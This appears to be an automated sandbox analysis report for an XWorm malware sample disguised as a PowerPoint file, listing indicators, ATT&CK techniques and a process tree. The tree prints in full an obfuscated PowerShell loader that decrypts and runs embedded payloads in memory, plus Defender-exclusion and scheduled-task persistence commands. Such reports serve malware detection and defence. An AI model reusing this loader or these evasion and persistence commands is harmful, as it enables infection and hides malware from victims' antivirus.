xworm | 6120dc9c6c98279da2699c07a30bf81badf6e9f256fb0e583d1a12f58a0fee98

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	About_me_Logan.pptx.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3080	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	About_me_Logan.pptx.bat.exe
Key created	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4300	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2428	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
1336	powershell.exe
1336	powershell.exe
1092	powershell.exe
1092	powershell.exe
3164	powershell.exe
3164	powershell.exe
4136	powershell.exe
4136	powershell.exe
3324	powershell.exe
3324	powershell.exe
4324	powershell.exe
4324	powershell.exe
1804	powershell.exe
1804	powershell.exe
3164	powershell.exe
3080	svchost.exe
3080	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	powershell.exe
Token: SeSecurityPrivilege	1092	powershell.exe
Token: SeTakeOwnershipPrivilege	1092	powershell.exe
Token: SeLoadDriverPrivilege	1092	powershell.exe
Token: SeSystemProfilePrivilege	1092	powershell.exe
Token: SeSystemtimePrivilege	1092	powershell.exe
Token: SeProfSingleProcessPrivilege	1092	powershell.exe
Token: SeIncBasePriorityPrivilege	1092	powershell.exe
Token: SeCreatePagefilePrivilege	1092	powershell.exe
Token: SeBackupPrivilege	1092	powershell.exe
Token: SeRestorePrivilege	1092	powershell.exe
Token: SeShutdownPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeSystemEnvironmentPrivilege	1092	powershell.exe
Token: SeRemoteShutdownPrivilege	1092	powershell.exe
Token: SeUndockPrivilege	1092	powershell.exe
Token: SeManageVolumePrivilege	1092	powershell.exe
Token: 33	1092	powershell.exe
Token: 34	1092	powershell.exe
Token: 35	1092	powershell.exe
Token: 36	1092	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	powershell.exe
Token: SeSecurityPrivilege	1092	powershell.exe
Token: SeTakeOwnershipPrivilege	1092	powershell.exe
Token: SeLoadDriverPrivilege	1092	powershell.exe
Token: SeSystemProfilePrivilege	1092	powershell.exe
Token: SeSystemtimePrivilege	1092	powershell.exe
Token: SeProfSingleProcessPrivilege	1092	powershell.exe
Token: SeIncBasePriorityPrivilege	1092	powershell.exe
Token: SeCreatePagefilePrivilege	1092	powershell.exe
Token: SeBackupPrivilege	1092	powershell.exe
Token: SeRestorePrivilege	1092	powershell.exe
Token: SeShutdownPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeSystemEnvironmentPrivilege	1092	powershell.exe
Token: SeRemoteShutdownPrivilege	1092	powershell.exe
Token: SeUndockPrivilege	1092	powershell.exe
Token: SeManageVolumePrivilege	1092	powershell.exe
Token: 33	1092	powershell.exe
Token: 34	1092	powershell.exe
Token: 35	1092	powershell.exe
Token: 36	1092	powershell.exe
Token: SeIncreaseQuotaPrivilege	1092	powershell.exe
Token: SeSecurityPrivilege	1092	powershell.exe
Token: SeTakeOwnershipPrivilege	1092	powershell.exe
Token: SeLoadDriverPrivilege	1092	powershell.exe
Token: SeSystemProfilePrivilege	1092	powershell.exe
Token: SeSystemtimePrivilege	1092	powershell.exe
Token: SeProfSingleProcessPrivilege	1092	powershell.exe
Token: SeIncBasePriorityPrivilege	1092	powershell.exe
Token: SeCreatePagefilePrivilege	1092	powershell.exe
Token: SeBackupPrivilege	1092	powershell.exe
Token: SeRestorePrivilege	1092	powershell.exe
Token: SeShutdownPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeSystemEnvironmentPrivilege	1092	powershell.exe
Token: SeRemoteShutdownPrivilege	1092	powershell.exe
Token: SeUndockPrivilege	1092	powershell.exe
Token: SeManageVolumePrivilege	1092	powershell.exe
Token: 33	1092	powershell.exe
Token: 34	1092	powershell.exe
Token: 35	1092	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2428	POWERPNT.EXE
2428	POWERPNT.EXE
2428	POWERPNT.EXE
2428	POWERPNT.EXE
3164	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 2428	3120	About_me_Logan.pptx.bat.exe	82
PID 3120 wrote to memory of 2428	3120	About_me_Logan.pptx.bat.exe	82
PID 3120 wrote to memory of 2428	3120	About_me_Logan.pptx.bat.exe	82
PID 3120 wrote to memory of 1408	3120	About_me_Logan.pptx.bat.exe	90
PID 3120 wrote to memory of 1408	3120	About_me_Logan.pptx.bat.exe	90
PID 1408 wrote to memory of 1336	1408	cmd.exe	92
PID 1408 wrote to memory of 1336	1408	cmd.exe	92
PID 1336 wrote to memory of 1092	1336	powershell.exe	93
PID 1336 wrote to memory of 1092	1336	powershell.exe	93
PID 1336 wrote to memory of 2240	1336	powershell.exe	95
PID 1336 wrote to memory of 2240	1336	powershell.exe	95
PID 2240 wrote to memory of 3084	2240	WScript.exe	96
PID 2240 wrote to memory of 3084	2240	WScript.exe	96
PID 3084 wrote to memory of 3164	3084	cmd.exe	98
PID 3084 wrote to memory of 3164	3084	cmd.exe	98
PID 3164 wrote to memory of 4136	3164	powershell.exe	100
PID 3164 wrote to memory of 4136	3164	powershell.exe	100
PID 3164 wrote to memory of 3324	3164	powershell.exe	102
PID 3164 wrote to memory of 3324	3164	powershell.exe	102
PID 3164 wrote to memory of 4324	3164	powershell.exe	104
PID 3164 wrote to memory of 4324	3164	powershell.exe	104
PID 3164 wrote to memory of 1804	3164	powershell.exe	106
PID 3164 wrote to memory of 1804	3164	powershell.exe	106
PID 3164 wrote to memory of 4300	3164	powershell.exe	108
PID 3164 wrote to memory of 4300	3164	powershell.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\About_me_Logan.pptx.bat.exe
"C:\Users\Admin\AppData\Local\Temp\About_me_Logan.pptx.bat.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
  "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\About_me_Logan.pptx" /ou ""
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Zoom.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EFnVncWzJPZ19uu1a/XUS1LDDxJ3Mwkc5UTGyThKgsA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('62BsFR0CuV/uDNNRbFB5oQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jmXfG=New-Object System.IO.MemoryStream(,$param_var); $cYSNK=New-Object System.IO.MemoryStream; $ulfnd=New-Object System.IO.Compression.GZipStream($jmXfG, [IO.Compression.CompressionMode]::Decompress); $ulfnd.CopyTo($cYSNK); $ulfnd.Dispose(); $jmXfG.Dispose(); $cYSNK.Dispose(); $cYSNK.ToArray();}function execute_function($param_var,$param2_var){ $GFXrF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Khfkl=$GFXrF.EntryPoint; $Khfkl.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Zoom.bat';$JClCy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\RarSFX0\Zoom.bat').Split([Environment]::NewLine);foreach ($ztSDv in $JClCy) { if ($ztSDv.StartsWith(':: ')) { $aJxQL=$ztSDv.Substring(3); break; }}$payloads_var=[string[]]$aJxQL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_418_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_418.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1092
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_418.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2240
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_418.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3084
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EFnVncWzJPZ19uu1a/XUS1LDDxJ3Mwkc5UTGyThKgsA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('62BsFR0CuV/uDNNRbFB5oQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jmXfG=New-Object System.IO.MemoryStream(,$param_var); $cYSNK=New-Object System.IO.MemoryStream; $ulfnd=New-Object System.IO.Compression.GZipStream($jmXfG, [IO.Compression.CompressionMode]::Decompress); $ulfnd.CopyTo($cYSNK); $ulfnd.Dispose(); $jmXfG.Dispose(); $cYSNK.Dispose(); $cYSNK.ToArray();}function execute_function($param_var,$param2_var){ $GFXrF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Khfkl=$GFXrF.EntryPoint; $Khfkl.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_418.bat';$JClCy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_418.bat').Split([Environment]::NewLine);foreach ($ztSDv in $JClCy) { if ($ztSDv.StartsWith(':: ')) { $aJxQL=$ztSDv.Substring(3); break; }}$payloads_var=[string[]]$aJxQL.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4324
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1804
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4300

C:\ProgramData\svchost.exe
C:\ProgramData\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery